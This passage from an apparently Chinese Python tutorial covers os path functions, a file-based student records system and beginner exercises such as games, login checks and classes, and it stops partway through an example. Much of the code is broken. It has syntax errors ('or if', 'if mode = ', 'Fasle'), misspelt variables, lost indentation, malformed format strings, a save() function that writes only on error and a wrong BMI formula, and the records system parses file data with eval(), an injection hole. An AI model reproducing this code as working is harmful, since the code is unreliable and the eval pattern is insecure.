print(os.path.split('E:\\vippython\\chap15\\demo13.py'))
print(os.path.splitext('demo13.py'))
print(os.path.basename('E:\\vippython\\chap15\\demo13.py'))
print(os.path.dirname('E:\\vippython\\chap15\\demo13.py'))
print(os.path.isdir('E:\\vippython\\chap15\\demo13.py'))
1
2
3
4
5
6
7
'''列出指定目录下的所有py文件'''
import os
path = os.getcwd()
lst = os.listdir(path)
for filename in lst:
    if filename.endswith('.py'):
        print(filename)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#chap15-->newdir-->sub-->遍历所有文件walk
import os
path = os.getcwd()
lst_files = os.walk(path)
for dirpath,dirname,filename in lst_files:
    print(dirname)
    print(dirpath)
    print(filename)
    print('--------------------------')
    for dir in dirname:
        print(os.path.join(dirpath,dir))
        
    for file in filename:
        print(os.path.join(dirpath,file))
    print('+++++++++++++++++++++++++')
# 十七、学生信息管理系统
# 1. 需求分析
学生管理系统应具备的功能：
添加学生及成绩信息
将学生信息保存到文件中
修改和删除学生信息
查询学生信息
根据学生成绩进行排序
统计学生的总分
# 2. 系统设计
七大模块：
录入学生信息模块
查找学生信息模块
删除学生信息模块
修改学生信息模块
学生成绩排名模块
统计学生总人数模块
显示全部学生信息模块
# 3. 系统开发必备
系统开发环境
操作环境：Win10
Python 解释器版本：Python3
开发环境：PyCharm
Python 内置模块：os，re
项目目录结构
studentsys-->students.txt&stusystem.py
# 4. 主函数设计
系统主界面运行效果图
主函数的业务流程
编号 功能
0 退出系统
1 录入学生信息，调用 insert () 函数
2 查找学生信息，调用 search () 函数
3 删除学生信息，调用 delete () 函数
4 修改学生信息，调用 modify () 函数
5 对学生成绩排序，调用 sort () 函数
6 统计学生总人数，调用 total () 函数
7 显示所有学生信息，调用 show () 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
filename = 'student.txt'
import os
def main():
    while True:
        menu()
        choice = int(input('请选择：\n'))
        if choice in [0,1,2,3,4,5,6,7]:
            if choice == 0:
                answer = input('您确定退出系统吗？y/n \n')
                if answer == 'y' or if answer == 'Y':
                    print('谢谢您的使用！')
                    break
                else:
                    continue
            if choice == 1:
                insert()
            elif choice == 2:
                search()
            elif choice == 3:
                delete()
            elif choice == 4:
                modify()
            elif choice == 5:
                sort()
            elif choice == 6:
                total()
            elif choice == 7:
                show()
def menu():
    print('======================学生信息管理系统===================')
    print('-----------------------功能菜单-----------------------')
    print('\t\t\t\t\t\t 1.录入学生信息')
    print('\t\t\t\t\t\t 2.查找学生信息')
    print('\t\t\t\t\t\t 3.删除学生信息')
    print('\t\t\t\t\t\t 4.修改学生信息')
    print('\t\t\t\t\t\t 5.排序')
    print('\t\t\t\t\t\t 6.统计学生总人数')
    print('\t\t\t\t\t\t 7.显示所有学生信息')
    print('\t\t\t\t\t\t 0.退出系统')
    print('------------------------------------------------------')
    
def insert():#(1)
    pass
def search():#(4)
    pass
def delete():#(2)
    pass
def modify():#(3)
    pass
def sort():#(7)
    pass
def total():#(5)
    pass
def show():#(6)
    pass

if __name__ == '__main__':
    main()
# 5. 学生信息维护模块设计
# （1）录入学生信息
** 实现录入学生信息模块：** 从控制台录入学生信息，并保存到磁盘文件中。
save (student) 函数，用于将学生信息保存到文件
insert () 函数，用于录入学生信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#(1)
def insert():
    student_list = []
    while True:
        id = input('请输入ID（如1001）：')
        if not id:
            break
        name = input('请输入姓名：')
        if not name:
            break
        try:
            English = int(input('请输入英语成绩：'))
            Python = int(input('请输入Python成绩：'))
            Java = int(input('请输入Java成绩'))
        except:
            print('输入无效，不是整数类型，请重新输入。')
            continue
        #将录入的学生信息保存到字典中
        student = {'id':id,'name':name,'English':English,'Python':Python,'Java':Java}
        #将学生信息添加到列表中
        student_list.append(student)
        answer = input('是否继续添加？y/n \n')
        if answer == 'y':
            continue
        else:
            break
    #调用save()函数
    save(student_list)
    print('学生信息录入完毕！')

def save(lst):
    try:
        stu_txt = open(filename,'a',encoding = 'utf-8')
    except:
        stu_txt = open(filename,'w',encoding = 'utf-8')
        for item in lst:
            stu_txt.write(str(item) + '\n')
        stu_txt.close()
# （2）删除学生信息
** 实现删除学生信息功能：** 从控制台录入学生 ID，到磁盘文件中找到对应的学生信息，并将其删除。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#(2)
def delete():
    while True:
        student_id = input('请输入要删除的学生的ID：')
        if student_id != '':
            if os.path.exists(filename):
                with open(filename,'r',encoding = 'utf-8') as file:
                    student_old = file.readlines()
            else:
                student_old =[]
            flag = Fasle#标记是否删除
            if student_old:
                with open(filename,'w',encoding = 'utf-8') as wfile:
                    d={}
                    for item in student_old:
                        d = dict(eval(item))#将字符串转成字典
                        if d['id'] != student_id:
                            wfile.write(str(d) + '\n')
                        else:
                            flag = True
                    if flag:
                        print(f'id为{student_id}的学生信息已被删除')
                    else:
                        print(f'没有找到ID为{student_id}的学生信息')
                else:
                    print('无学生信息')
                    break
                show()#删除之后要重新显示所有学生信息
                answer = input('是否继续删除？y/n \n')
                if answer == 'y':
                    continue
                else:
                    break
# （3）修改学生信息
** 实现修改学生信息功能：** 从控制台录入学生 ID，到磁盘文件中找到对应的学生信息，将其进行修改。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def modify():
    show()
    if os.path.exists(filename):
        with open(filename,'r',encoding = 'utf-8') as rfile:
            student_old = rfile.readlines()
    else:
        return
    student_id = input('请输入要修改的学生的ID：\n')
    with open(filename,'w',encoding = 'utf-8') as wfile:
        for item in student_old:
            d = dict(eval(item))
            if d['id'] == student_id:
                print('找到学生信息，可以修改他（她）的相关信息了！')
                while True:
                    try:
                        d['name'] = input('请输入姓名：\n')
                        d['English'] = input('请输入英语成绩：\n')
                        d['Python'] = input('请输入Python成绩：\n')
                        d['Java'] = input('请输入Java成绩：\n')
                    except:
                        print('您的输入有误，请重新输入！')
                    else:
                        break
                wfile.write(str(d) + '\n')
                print('修改成功！')
            else:
                wfile.write(str(d) + '\n')
        answer = input('是否继续修改其他学生信息？y/n \n')
        if answer == 'y':
            modify()
# （4）查找学生信息
** 实现查询学生信息功能：** 从控制台录入学生 ID 或姓名，到磁盘文件中找到对应的学生信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def search():
    student_query = []
    while True:
        id = ''
        name = ''
        if os.path.exists(filename):
            mode = input('按ID查找请输入1，按姓名查找请输入2：\n')
            if mode = '1':
                id = input('请输入学生ID:\n')
            elif mode = '2':
                name = input('请输入学生姓名:\n')
            else:
                print('您的输入有误，请重新输入：\n')
                search()
            with open(filename,'r',encoding = 'utf-8') as  rfile:
                student = rfile.readlines()
                for item in student:
                    d = dict(eval(item))
                    if id != '':
                        if d['id'] == id:
                            student_query.append(d)
                    elif name != '':
                        if d['name'] == name:
                            student_query.append(d)
             #显示查询结果
            show_student(student_query)
            #清空列表
            student_query.clear()
            answer = input('是否要继续查询？y/n \n')
            if answer == 'y':
                continue
            else:
                break
        else:
            print('暂未保存学生信息！')
            return
def show_student(lst):
    if len(lst) == 0:
        print('没有查询到学生信息，无数据显示！')
        return
    #定义标题的显示格式
    format_title = '{:^6 \t {:^12} \t {:^8} \t {:^10} \t {:^10} \t {:^8}}'
    print(format_title.format('ID','姓名','英语成绩','Python成绩','Java成绩','总成绩'))
    #定义内容的显示格式
    format_data = '{:^6 \t {:^12} \t {:^8} \t {:^8} \t {:^8} \t {:^8}}'
    for item in lst:
        print(format_data.format(item.get('id')),item.get('name'),item.get('English'),item.get('Python'),item.get('Java'),int(item.get('English'))+int(item.get('Python'))+int(item.get('Java'))  )
# （5）统计学生总人数
** 实现统计学生总人数：** 统计学生信息文件中保存的学生信息个数。
1
2
3
4
5
6
7
8
def total():
    if os.path.exists(filename):
        with open(filename.'r',encoding = 'utf-8') as rfile:
            students = rfile.readlines()
            if students:
                print(f'一共有{len(students)}名学生。')
    else:
        print('还没有录入学生信息。')
# （6）显示所有学生信息
** 实现显示所有学生信息功能：** 将学生信息文件中保存的全部学生信息获取并显示。
1
2
3
4
5
6
7
8
9
10
11
def show():
    student_lst =[]
    if os.path.exists(filename):#判断文件是否存在
        with open(filename,'r',encoding ='utf-8') as rfile:#打开文件
            students = rfile.readlines()#读取全部数据
            for item in students:
                student_lst,append(eval(item))
            if student_lst:
                show_student(student_lst)#调用显示学生信息的方法
    else:
        print('暂未保存数据')  
# （7）排序学生成绩
** 实现按学生成绩排序功能：** 主要对学生信息按英语成绩，Python 成绩，Java 成绩，总成绩进行升序或者降序排序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def sort():
    show()
    if os.path.exists(filename):
        with open(filename,'r',encoding ='utf-8') as rfile:
            student_list = rfile.readlines()
        student_new = []
        for item in stuednt_list:
            d = dict(eval(item))
            student_new,append(d)
    else:
        return
    asc_or_desc = input('请选择 \n (0.升序；\n (1.降序')
    if asc_or_desc == '0':
        asc_or_desc_bool = False
    elif asc_or_desc == '1':
        asc_or_desc_bool = True
    else:
        print('您的输入有误，请重新输入。')
        sort()
    mode = input('请选择排序方式 \n (1.按英语成绩排序; \n (2.按Python成绩排序; \n (3.按Java语言成绩排序; \n (0.按总成绩排序.')
    if mode == '1':
        student_new.sort(key = lambda x:int(x['English']),reverse = asc_or_desc_bool)
    elif mode == '2':
        student_new.sort(key = lambda x:int(x['Python']),reverse = asc_or_desc_bool)
    elif mode == '3':
        student_new.sort(key = lambda x:int(x['Java']),reverse = asc_or_desc_bool)
    elif mode == '0':
        student_new.sort(key = lambda x: int(x['English']) + int(x['Python']) + int(x['Java']),reverse = asc_or_desc_bool)
    else:
        print('您的输入有误，请重新输入！')
        sort()
    show_student(student_new)#显示排序结果
# 6. 项目打包
安装第三方模块：（1）在线安装方式pip install PyInstaller；（2）执行打包操作
# 十八、案例实操
# 1. 案例一
# （1）向文件输出 “奋斗成就更好的你”
1
2
3
4
5
6
7
8
# Task1 使用print方式进行输出
fp = open('F:/test.txt','w')
print('奋斗成就更好的你',file = fp)
fp.close()

# Task1 使用文件读写操作
with open('F:/test1.txt','w') as file:
    file.write('奋斗成就更好的你')
# （2）输出北京的天气预报
1
2
3
4
5
6
7
8
9
10
11
print('星期日','今天')
print('--------------------')
print('08时','11时','14时','17时','20时','23时')
print('0℃ ','6℃ ','10℃','4℃ ','1℃ ','0℃ ')
print('--------------------')
print('明 天 ','2/23','2/11℃')
print('星期二','2/24','0/9℃')
print('星期三','2/25','-2/8℃')
print('星期四','2/26','-3/6℃')
print('星期五','2/27','-2/7℃')
print('星期六','2/28','-1/11℃')
# （3）机票购买界面
1
2
3
4
5
6
7
8
9
10
11
print('✈国内 \t ♜国际.港澳台 \t ↘发现低价')
print('------------------------')
print('航班类型：⊙单程⊙往返⊙多程（含缺口城）')
print('出发城市：北京')
print('到达城市：长春')
print('出发日期：2020-3-8')
print('返回日期：yyyy-MM-dd')
print('------------------------')
print('\t\t ☐带儿童  ☐带婴儿')
print('\t\t\t__________')
print('\t\t\t___搜索___')
# （4）北京地铁 1 号线运行图
1
2
3
4
5
6
7
print('地铁1\t\t\t四惠东→苹果园')
print('\t\t首车：05:05')
print('\t\t末车：23:30\t\t票价：起步价：2元')
print('------------------------------------')
print('  1\t\t  3\t  5\t  7\t\t  9\t\t  11\t\t  12\t\t 14\t\t 16\t\t 18\t\t 20\t\t')
print('   ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t ⇌\t\t')
print('四惠东\t大望路\t永安里\t东单\t天安门东\t西单\t复兴门\t木樨地\t公主坟\t五棵松\t八宝山')
# 2. 案例二
# （1）输出杨老师出版的图书信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#1
print('►→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→◄')
print('▷       《Java程序设计教程》   ◁')
print('► 出版社：西安电子科技大学出版社 ◄')
print('▷     出版时间：2019-02-02     ◁')
print('►        定  价：56.8          ◄')
print('▷→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→◁')

#2
book_name = 'Java程序设计教程'
publish = '西安电子科技大学出版社'
pub_date = '2019-02-02'
price = 56.8
print('▶➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝◀')
print('▷\t\t 《',book_name,'》 \t\t ◁')
print('▷\t出版社：',publish,'\t ◁')
print('▷\t出版时间：',pub_date,'\t\t\t ◁')
print('▷\t定 价：',price,'\t\t\t\t ◁')
print('▷➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝➝◁')
# （2）输出《红楼梦》中的金陵十二钗前五位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#1 变量的赋值
name1 = '林黛玉'
name2 = '薛宝钗'
name3 = '贾元春'
name4 = '贾探春'
name5 = '史湘云'
print('①\t' + name1)
print('②\t' + name2)
print('③\t' + name3)
print('④\t' + name4)
print('⑤\t' + name5)
#2 列表
lst_name = ['林黛玉','薛宝钗','贾元春','贾探春','史湘云']
lst_sig = ['①','②','③','④','⑤']
for i in range(5):
    print(lst_sig[i],lst_name[i])

#3字典
d = {'①':'林黛玉','②':'薛宝钗','③':'贾元春','④':'贾探春','⑤':'史湘云'}
for key in d:
    print('key,d[key]')
print('zip-----------------')
for s,name in zip(lst_sig,lst_name):
    print(s,name)
# （3）输出图书音像勋章
1
2
3
4
5
print('\033[0;35m\t\t图书音像勋章\033[m')
print('\033[0;35m-----------------------\033[m')
print('\033[0;32m❀图书音像勋章\t\t✪专享活动 \033[m')
print('\033[0;34m❤专属优惠\t\t\t☎优惠提醒 \033[m')
print('\033[0;35m-----------------------\033[m')
# （4）输出你的身体指标
1
2
3
4
5
6
7
8
height = 170
weight = 50.5
bmi = weight / (height+weight)
print('您的身高是：',height)
#print('您的身高是：' + str(height))
print('您的体重是：' + str(weight))
print('您的BMI是：' + str(bmi))
print('您的BMI的指数是：' '{:0.2f}'.format(bmi)
# 3. 案例三
# （1）将指定的十进制数转换二进制、八进制、十六进制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def fun():
num = int(input('请输入一个十进制的整数：'))#str转换成int类型
#使用个数可变的位置参数
print(num,'的二进制数为：',bin(num))
#使用+作为连接符，注意符号左右均为str类型
print(str(num) + '的二进制数为：' + bin(num))
#格式化字符串
print('%s的二进制数为：%s' %  (num,bin(num)))
#格式化字符串
print('{0}的二进制数为：{1}'.format(num,bin(num)))
#格式化字符串
print(f'{num}的二进制数为：{bin(num)}')
print('---------------------------')
print(f'{num}的八进制数为：{oct(num)}')
print(f'{num}的十六进制数为：{hex(num)}')

if __name__ == '__main__':
    while True:
    try:
        fun()
        break
    except:
        print('只能输入整数！程序出错，请重新输入')
# （2）为自己手机充值
1
2
3
4
print('用户手机账户原有话费金额为：\033[0;35m 8元 \033[m')
money = int(input('请输入用户的充值金额：'))
money += 8
print('当前的余额为：\033[0;32m ',money,'元 \033[m')
# （3）计算能量的消耗
1
2
3
num = int(input('请输入您当天行走的步数：'))
calorie = num *28
print(f'您今天一共消耗了卡路里{calorie}，即{calorie/1000}千卡')
# （4）预测未来子女的身高
1
2
3
4
father_height = float(input('请输入父亲的身高：'))
mother_height = float(input('请输入母亲的身高：'))
son_height = (father_height + mother_height)*0.54
print('预测子女的身高为：{}cm'.format(son_height))
# 4. 案例四
# （1）支付密码的验证
1
2
3
4
5
6
7
8
pwd = input('支付宝支付密码：')
if pwd.isdigit():
    print('支付数据合法')
else:
    print('支付数字不合法，支付密码只能是数字')

print('---------------------------')
s = '支付数据合法' if pwd.isdigit() else '支付数字不合法，支付密码只能是数字'
# （2）模拟 QQ 账号登录
1
2
3
4
5
6
qq = input('请输入您的QQ号：')
pwd = input('请输入您的密码：')
if qq == '296626472'  and pwd == '123':
    print('登陆成功')
else:
    print('账号或者密码不正确')
# （3）商品价格大竞猜
1
2
3
4
5
6
7
8
9
10
11
import random
price = random.randint(1000,1500)
print('今日竞猜的商品为小米扫地机器人，价格在[1000-1500]之间：')
guess = int(input())
if guess > price:
    print('大了')
elif guess < price:
    print('小了')
else:
    print('猜对了')
print('真实价格为：',price)
# （4）根据星座查看运势
1
2
3
4
d = {'白羊座':'1','金牛座':'2','双子座':'3','巨蟹座':'4','狮子座':'5'}
star = input('请输入您的星座查看近来的运势：')
#print(d[star])
print(d.get(star))
# 5. 案例五
# （1）循环输出 26 个字母对应的 ASCII 码值
1
2
3
4
5
6
7
8
9
10
x = 97    #a的ASCII为97
for _ in range(1,27):
    print(chr(x),'--->',x)
    x += 1
    
print('---------------')
x = 97
while x < 123:
    print(chr(x),'---->',x)
    x += 1
# （2）模拟用户登录
1
2
3
4
5
6
7
8
9
10
11
12
for i in range(1,4):
    user_name = input('请输入用户名：')
    user_pwd = input('请输入密码：')
    if user_name == 'admin' and user_pwd == '8888':
        print('登陆成功')
        break
    else:
        print('用户名或密码不正确！')
        if i < 3:
            print(f'您还有{3-i}次机会！')
else:
    print('对不起，三次均输入错误，请联系后台管理员！')
# （3）猜数游戏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import random
rand = random.randint(1,100)
for i in range(1,11):
    num = int(input('在我心中有个数1-100，请你猜一猜。'))
    if num < rand:
        print('小了')
    elif num > rand:
        print('大了')
    else:
        print('恭喜你猜对了')
        break
print(f'您一共猜了{i}次')
if i < 3:
    print('真聪明')
elif i <= 7:
    print('还凑合')
else:
    print('天哪，找杨老师学习二分算法')
# （4）计算 100-999 之间的水仙花数
1
2
3
4
import math
for i in range(100,1000):
    if math.pow((i % 10),3) + math.pow((i//10%10),3) + math.pow(i // 100,3) == i:
        print(i)
# 6. 案例六
# （1）“千年虫” 我来了
1
2
3
4
5
6
7
8
9
10
11
12
year = [82,89,88,86,85,00,99]
print('原列表：',year)
for index,value in enumerate(year):
    #print(index,value)
    if str(value) != '0':
        year[index] = int('19' + str(value))
    else:
        year[index] = int('200' + str(value))

print('修改之后的列表为：',year)
year.sort()
print('排序之后的列表为：',year)
# （2）京东购物流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lst = []
for i in range(0,5):
    goods = input('请输入商品的名称进入商品的入库，每次只能输入一个商品：\n')
    lst.append(goods)
for item in lst:
    print(item)
    
cart = []
while True:
    num = input('请输入要购买的商品编号：')
    for item in lst:
        if item.find(num) != -1:
            cart.append(item)
            break#退出for循环
        if num == 'q':
            break#退出while循环
print('您购物车里已经选好的商品为：')
'''for m in cart:
    print(m)'''
for j in range(len(cart)-1,-1,-1):
    print(cart[j])
# 7. 案例七
# （1）根据星座测试性格特点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
constellation = ['白羊座','金牛座','双子座','巨蟹座','狮子座','处女座','天秤座','天蝎座','射手座','摩羯座','水瓶座','双鱼座']
nature = ['积极乐观','固执内向','圆滑世故','多愁善感','迷之自信','精明计较','犹豫不决','阴暗消极','放荡不羁','务实本分','作天作地','安于现状']

#将两个列表转成集合
a = zip(constellation,nature)
d = dict(zip(constellation,nature))
for item in a:
    print(item)
print(d)
key = input('请输入您的星座名称：')
flag = True
for item in d:
    if key == item:
        flag = True
        print(key,'的性格特点为：',d.get(key))
        break
    else:
        #print('您输入的星座有误')
        flag = False

if not flag:
    print('您输入的星座有误')
# （2）模拟 12306 火车票订票下单
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dict_ticket = {
    'G1569':['北京南-天津南','18:05','18:39','00:34'],
    'G1567':['北京南-天津南','18:15','18:49','00:34'],
    'G8917':['北京南-天津西','18:20','19:19','00:59'],
    'G203 ':['北京南-天津南','18:35','19:09','00:34']
}
print('车次\t\t出发站\t\t到达站\t\t出发时间\t\t\t到达时间\t\t\t历时时长')
for item in dict_ticket:
    print(item,end = '   ')
    for i in dict_ticket[item]:
        print(i,end='\t\t\t')
    print()#换行
#输入要购买的车次    
train_no = input('请输入购买的车次：')
persons = input('请输入乘车人。如果是多人请使用逗号分隔')
s = f'您已购买了{train_no}次列车，'
s_info = dict_ticket[train_no]#获取车次详细信息
s += s_info[0] + ' ' + s_info[1] + ' 开。'
print(f'{s}请{persons}尽快取走纸质车票。【铁路客服】')
# 8. 案例八
# （1）我的咖啡馆你做主
1
2
3
4
5
6
7
8
9
coffee_name = ('蓝山','卡布奇诺','拿铁','皇家咖啡','女王咖啡','美丽与哀愁')
print('您好！欢迎光临小喵咖啡屋。')
print('本店经营的咖啡有：')
for index,item in enumerate(coffee_name):
    print(index+ +1 ,'.',item,end=' ')
    
index = int(input('\n请输入您喜欢的咖啡编号：'))
if 0 <= index <= len(coffee_name):
    print(f'您的咖啡[{coffee_name[index -1]}]好了，请您慢用')
# （2）显示 2019 年中超联赛前五名排行
1
2
3
4
5
6
socres = (('广州恒大',72),('北京国安',70),('上海上港',66),('江苏苏宁',53),('山东鲁能',51))
for index,item in enumerate(scores):
    print(index +1,'.',end=' ')
    for score in item:
        print(score,end =' ')
    print()
# （3）模拟手机通讯录
1
2
3
4
5
6
phones = set()#创建一个空集合，集合元素没有顺序
for i in range(5):
    info = input(f'请输入第{i+1}个朋友的姓名和手机号码：')
    phones.add(info)
for item in phones:
    print(item)
# 9. 案例九
# （1）统计字符串中出现指定字符的次数
1
2
3
4
5
6
7
8
9
10
11
12
def get_count(s,ch):
    count = 0
    for item in s:
        if ch.upper() == item or ch.lower() == item:
            count += 1
    return count

if __name__ == '__main__':
    s = 'hellopython,hellojava,hellogo'
    ch = input('请输入要统计的字符：')
    count = get_count(s,ch)
    print(f'{ch}在{s}中出现的次数为：{count}')
# （2）格式化输出商品的名称和单价
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def show(lst):
    for item in lst:
    for i in item:
        print(i,end ='\t\t')
    print()
lst = [
    ['01','电风扇','美的',500],
    ['02','洗衣机','TCL',1000],
    ['03','微波炉','老板',400],
]
print('编号\t\t\t名称\t\t\t品牌\t\t\t单价')
show(lst)
print('----------格式化---------------')
for item in lst:
    item[0] = '0000' + item[0]
    item[3] = '￥{:.2f}'.format(item[3])
show(lst)    
# 10. 案例十
# （1）Mini 计算器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def calc(a,b,op):
    if op == '+':
        return add(a,b)
    elif op == '-':
        return sub(a,b)
    elif op == '*':
        return mul(a,b)
    elif op == '/':
        if b != 0:
            return div(a,b)
        else:
            return '除数不能为0'
        
def add(a,b):
    return a + b
def sub(a,b):
    return a - b
def mul(a,b):
    return a * b
def div(a,b):
    return a/b

if __name__ == '__main__':
    a = int(input('请输入第一个整数：'))
    b = int(input('请输入第二个整数：'))
    op = input('请输入运算符：')
    print(calc(a,b,op))
# （2）猜数游戏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import random
def guess(num,guess_num):
    if num = guess_num:
        return 0
    elif guess_num > num:
        return 1
    else:
        return -1
    
num = random.randint(1,100)
for i in range(10):
    guess_num = int(input('我心里有个1-100的整数，请你猜一猜：'))
    result = guess(num,guess_num)
    if result == 0:
        print('猜对了')
        break
    elif result > 0:
        print('大了')
    else:
        print('小了')
else:
    print('真笨，10次都没猜中！') 
# 11. 案例十一
# （1）编写程序输入学员成绩
1
2
3
4
5
6
7
8
try:
score = int(input('请输入分数：'))
if 0 <= score <= 100:
    print('分数为：',score)
else:
    raise Exception('分数不正确')
except Exception as e:
    print(e)
# （2）编写程序，判断三个参数能否构成三角形
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def is_triangle(a,b,c):
    if a<0 or b<0 or c<0:
        raise Exception('三条边不能有负数')#手动抛出异常对象
    
    #判断是否构成三角形
    if a+b>c and a+c>b and b+c>a:
        print(f'三角形的边长为a={a},b={b},c={c}')
    else:
        raise Exception(f'a={a},b={b},c={c}，不能构成三角形')
        
if __name__ == '__main__':
    try:
        a = int(input('请输入第一条边：'))
        b = int(input('请输入第二条边：'))
        c = int(input('请输入第三条边：'))
        is_triangle(a,b,c)
    except Exception as e:
        print(e)
# 12. 案例十二
# （1）定义一个圆的类来计算面积和周长
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import math
class Circle(object):
    def __init__(self,r):
        self.r = r
        
    def get_area(self):
        return math.pi * math.pow(self.r,2)
    def get_perimeter(self):
        return 2*math.pi*self.r
    
if __name__ == '__main__':
    r = int(input('请输入圆的半径：'))
    c = Circle(r)
    print(f'圆的面积为：{c.get_area()}')
    print(f'圆的周长为：{c.get_perimeter()})
          
  print('圆的面积为：{:.2f}'.format(c.get_area()))
  print('圆的周长为：{:.2f}'.format(c.get_perimeter())) 
# （2）定义学生类录入 5 个学生信息存储到列表中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Student(object):
    def __init__(self,stu_name,stu_age_,stu_gender,stu_score):
        self.stu_name = stu_name
        self.stu_age = stu_age
        self.stu_gender = stu_gender
        self.stu_score = stu_score
        
    def show(self):
        print(self.stu_name,self.stu_age,self.stu_gender,self.stu_score)
        
if __name__ == '__main__':
    print('请输入五位学员的信息：(姓名#年龄#性别#成绩)')
    lst = []
    for i in range(0,5):
        s = input(f'请输入第{i+1}位学员的信息和成绩：')
        s_lst = s.split('#')
        #print(s_lst)
        #创建学生对象
        stu = Student(s_lst[0],int(s_lst[1]),s_lst[2],float(s_lst[3]))
        lst.append(stu)
    #遍历列表
    for item in lst:
        item.show()
# 13. 案例十三
# （1）编写程序实现乐手弹奏乐器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Instrument():
    def make_sound(self):
        pass
    
class Erhu(Instrument):
    def make_sound(self):
        print('二胡在演奏')
class Piano(Instrument):
    def make_sound(self):
        print('钢琴在演奏')
class Violin(Instrument):
    def make_sound(self):
        print('小提琴在演奏')

def play(instrument):
    instrument.make_sound()

class Bird():
    def make_sound(self):
        print('小鸟在唱歌')
        
if __name__ == '__main__':
    play(Erhu())
    play(Piano())
    play(Violin())
# （2）请使用面向对象的思想，设计自定义类，描述出租车和家用轿车的信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Car(object):
    def __init__(self,type,no):
        self.type = type
        self.no = no
    def start(self):
        pass
    def stop(self):
        pass
    
class Taxi(Car):
    def __init__(self,type,no,company):
        super().__init__(type,no)
        self.company = company
    def start(self):
        print(’乘客您好！)
        print(f'我是{self.company}出租车公司的，我的车牌是{self.no}，请问您要去哪里？')
    def stop(self):
        print('目的地到了，请您付款下车，欢迎再次乘坐。')
        
class FamilyCar(Car):
    def __init__(self,type,no,name):
        super().__init__(type,no)
        self.name = name
    def stop(self):
        print('目的地到了，我们去玩吧')
    def start(self):
        print(f'我是{self.name}，我的汽车我做主')
        
if __name__ == '__main__':
    taxi = Taxi('上海大众','京A9765','长城')
    taxi.start()
    taxi.stop()
    print('-'* 30)
    familycar = FamilyCar('广汽丰田','京B88888','武大郎')
    familycar.start()
    familycar.stop()
    
# 14. 案例十四
# （1）模拟高铁售票系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import prettytable as pt

#显示座席
def show_ticket(row_num):
    tb = pt.PrettyTable()
    tb.field_names = ['行号','座位1','座位2','座位3','座位4','座位5']
    for i in range(row_num):
        lst = [f'第{i+1}行','有票','有票','有票','有票','有票']
        tb.add_row(lst)
    print(tb)
#订票
def order_ticket(row_num,row,column):
    tb = pt.PrettyTable()
    tb.field_names = ['行号','座位1','座位2','座位3','座位4','座位5']
    for i in range(row_num):
        if int(row) == i+1:
            lst = [f'第{i+1}行','有票','有票','有票','有票','有票']
            lst[int(column)] = '已售'
            tb.add_row(lst)
        else:
            lst = [f'第{i+1}行','有票','有票','有票','有票','有票']
            tb.add_row(lst)

if __name__ == '__main__':
    row_num = 13
    show_ticket(row_num)
    choose_num = input('请输入选择的座位，如13,5表示13排5号座位')
    #英文逗号处分隔行与列
    try:
       row,column = choose_num.split(',') 
    except:
        print('输入格式有误，如13排5号座位，应该位13,5')
    order_ticket(row_num,row,column)
# （2）推算几天后的日期
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import datetime
def inputdate():    
    indate = input('请输入开始日期：{20200202}后按回车')
    indate = indate.strip()
    datestr = indate[0:4] + '-' + indate[4:6] + '-' +indate[6:]
    return datetime.datetime.strptime(datestr,'%Y-%m-%d')

if __name__ == '__main__':
    print('--------------推算几天后的日期---------------------')
    sdate = inputdate()
    in_num = int(input('请输入间隔天数：'))
    fdate = sdate + datetime.timedelta(days = in_num)
    print('您推算的日期是：' + str(fdate))
    print('您推算的日期是：' + str(fdate).split(' ')[0])
# 15. 案例十五
# （1）记录用户的登录日志
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import time
def show_info():
    print('输入提示数字，执行相应的操作：0.退出  1.查看登录日志')
    
